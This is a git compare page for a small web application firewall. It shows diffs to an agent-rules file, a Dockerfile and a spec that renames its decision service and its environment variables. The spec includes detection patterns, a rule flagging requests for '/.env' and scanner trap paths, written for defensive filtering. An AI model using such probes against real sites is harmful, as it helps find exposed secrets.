Compare commits

..
Author SHA1 Message Date
sneak 2bdecf2f34 Every time in UTC, and every day as YYYY-MM-DD (closes #313)
check / check (push) Successful in 3m20s
AbuseIPDB's daily count keeps its day as a civil.Date, taken from the UTC
clock and written to reputation.json as "YYYY-MM-DD"; it was a time.Time
at midnight. Every time read from a state file is converted to UTC, so a
time an admin writes with an offset is written back in UTC.
TestMainRunsDiscriminator runs sww discriminator with TZ 14 hours ahead
of UTC and checks that the process line, the request line and
clients.json are in UTC. SPEC.md states the rule near its start;
AGENTS.md makes it an iron rule.

Model: opus-5-5
2026-11-11 01:20:44 +00:00
165 changed files with 10756 additions and 24686 deletions

No files matched your search

+1 -1
View File
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
- Secrets belong in POST data. An app that puts a secret in a query string - Secrets belong in POST data. An app that puts a secret in a query string
is fixed in the app. is fixed in the app.
- Never propose redacting a query string, Gitea's `?token=` included. - Never propose redacting a query string, Gitea's `?token=` included.
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set. - The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
- The set is: - The set is:
- `10.0.0.0/8`; - `10.0.0.0/8`;
- `172.16.0.0/12`; - `172.16.0.0/12`;
+5 -5
View File
@@ -155,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
-o /usr/local/bin/runsvinit . -o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless # The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it. # SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it. # It is the last stage, so a plain `docker build .` builds it.
# #
# ubuntu 26.04, 2026-09-27 # ubuntu 26.04, 2026-09-27
@@ -221,12 +221,12 @@ RUN groupadd --system --gid 65532 sww \
--gid sww --no-create-home --shell /usr/sbin/nologin \ --gid sww --no-create-home --shell /usr/sbin/nologin \
sww sww
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume # The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. At each start of waf, the run # is mounted to keep them across deploys. The run script gives it to the
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user. # sww user at each start of discriminator.
RUN mkdir /var/lib/sww RUN mkdir /var/lib/sww
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile # The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it. # built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
+299 -330
View File
@@ -11,16 +11,16 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
shipped in one image, with two commands that do this together: shipped in one image, with two commands that do this together:
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to - `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
it. It asks `waf` about each request, passes the allowed ones to the app, and it. It asks `discriminator` about each request, passes the allowed ones to the
passes the app's answers back. It keeps nothing between requests and writes app, and passes the app's answers back. It keeps nothing and never touches
nothing to disk. disk.
- `sww waf` decides. It runs the checks and keeps the bans, the counters and - `sww discriminator` decides. It runs the checks and keeps the bans, the
each client's history. One `waf` serves many sites: a client banned through counters and each client's history. One `discriminator` serves many sites: a
one site is refused on all of them, and its requests on all of them count client banned through one site is refused on all of them, and its requests on
toward one set of limits. all of them count toward one set of limits.
The site keeps answering while `waf` is down, slow or restarting: without an The site keeps answering while `discriminator` is down, slow or restarting:
answer in time, `rproxy` passes the request to the app. without an answer in time, `rproxy` passes the request to the app.
It protects against: It protects against:
@@ -80,43 +80,42 @@ make docker
Push the image to a registry your hosts pull from, and name it there by digest. Push the image to a registry your hosts pull from, and name it there by digest.
The image runs `rproxy` by default. To run `waf` from the same image, set the The image runs `rproxy` by default. To run `discriminator` from the same image,
container's `SWW_COMMAND` to `waf`. The image's health check follows the set the container's `SWW_COMMAND` to `discriminator`. The image's health check
command: in `rproxy`'s container it passes once `rproxy` answers and the app follows the command: in `rproxy`'s container it passes once `rproxy` answers and
accepts connections, whether or not `waf` answers; in `waf`'s container, once the app accepts connections, whether or not `discriminator` answers; in
`waf` answers. `discriminator`'s container, once `discriminator` answers.
### The usual setup: three containers ### The usual setup: three containers
The usual setup is three containers on one private network: The usual setup is three containers on one private network:
- the app; - the app;
- `rproxy`, in front of the app, which traefik routes to: - `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
app; - `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state `/var/lib/sww` for its state files.
files.
Point traefik's labels at port 8080 of `rproxy` Point traefik's labels at port 8080 of `rproxy`
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port (`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
of the app or of `waf`. Anything on that network can reach the app around of the app or of `discriminator`. Anything on that network can reach the app
`rproxy`, and can ask `waf` questions, so the network holds only what you trust. around `rproxy`, and can ask `discriminator` questions, so the network holds
Each further app adds its own container and its own `rproxy`, whose only what you trust. Each further app adds its own container and its own
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example `rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
below shows this shape. setup" example below shows this shape.
### `rproxy` in the app's container ### `rproxy` in the app's container
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy` An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
runs beside the app in one container. `waf` still runs in a container of its runs beside the app in one container. `discriminator` still runs in a container
own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
digest, and adds: by digest, and adds:
- the app's binary; - the app's binary;
- the packages the app needs, from the nixpkgs in the image; - the packages the app needs, from the nixpkgs in the image;
- a user for the app; - a user for the app;
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default - a `run` script that starts the app listening on `127.0.0.1:8081`, the default
of `SWW_RPROXY_UPSTREAM_URL`. of `SWRP_UPSTREAM_URL`.
```dockerfile ```dockerfile
# The smallwebwaf image, pinned by digest. # The smallwebwaf image, pinned by digest.
@@ -152,8 +151,8 @@ main "$@"
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
entrypoint starts `rproxy` and the app side by side, each as its own user. Run entrypoint starts `rproxy` and the app side by side, each as its own user. Run
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
an app, and the "`rproxy` beside the app" example below runs one. app, and the "`rproxy` beside the app" example below runs one.
The app sees the headers traefik sent, with traefik's address added to The app sees the headers traefik sent, with traefik's address added to
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust `X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
@@ -170,33 +169,34 @@ does.
- A log line with `"msg":"starting"` gives the version, the address and every - A log line with `"msg":"starting"` gives the version, the address and every
setting in effect, with secrets masked. setting in effect, with secrets masked.
- A request to the site through traefik gets the app's answer. - A request to the site through traefik gets the app's answer.
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the `https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
request have `"action":"forward"`. the request have `"action":"forward"`.
- To see a refusal without banning yourself, run `waf` with - To see a refusal without banning yourself, run `discriminator` with
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app. `SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
`waf`'s log lines have `"would_action":"temporarily_banned"` and `discriminator`'s log lines have `"would_action":"temporarily_banned"` and
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
"Clients and bans" below describes. "Clients and bans" below describes.
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host - With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
on `waf`'s network: `discriminator`'s network:
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`. `curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
- `make example-app` builds the image and an app on it, runs them, and checks - `make example-app` builds the image and an app on it, runs them, and checks
the whole exchange (see "Entrypoints"). the whole exchange (see "Entrypoints").
## Configuration ## Configuration
Every setting is an environment variable, read once at start; changing one means Every setting is an environment variable, read once at start; changing one means
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and restarting the container. `rproxy` reads only the `SWRP_` settings, and
`waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a `discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
default, chosen for a service on the open internet. A setting that needs an default, chosen for a service on the open internet. A setting that needs an
account, a key, a token or an alert destination stays off until you give one. account, a key, a token or an alert destination stays off until you give one.
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for - Any `SWW_` setting can be given as a file instead, for secrets and long lists:
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at contents are the value, less one newline at the end. Setting both forms stops
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
no `_FILE` form. `SWW_COMMAND` cannot be given as a file. `_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
one, since `rproxy` never touches disk.
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of - A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
1024: `512K`, `100M`, `5G`. 1024: `512K`, `100M`, `5G`.
@@ -212,134 +212,131 @@ account, a key, a token or an alert destination stays off until you give one.
setting takes it. setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the - The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as app's response bodies, the visitors' request bodies, or both, as
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent `SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
over a WebSocket counts as request bytes, and what the app sent as response a WebSocket counts as request bytes, and what the app sent as response bytes.
bytes.
- An invalid setting stops the process at start with one log line naming the - An invalid setting stops the process at start with one log line naming the
variable and what is wrong with the value. The settings in effect are logged variable and what is wrong with the value. The settings in effect are logged
on one line at start, with tokens, keys and webhook paths shown as `********`. on one line at start, with tokens, keys and webhook paths shown as `********`.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | | `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | | `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | | `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | | `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | | `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. | | `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | | `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | | `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | | `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | | `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | | `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | | `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. | | `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | | `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | | `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | | `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | | `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | | `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | | `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | | `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | | `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | | `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | | `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | | `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. | | `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | | `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | | `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | | `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | | `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | | `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | | `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | | `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | | `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | | `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). | | `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | | `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. | | `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | | `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | | `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | | `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | | `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | | `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | | `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | | `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | | `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | | `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
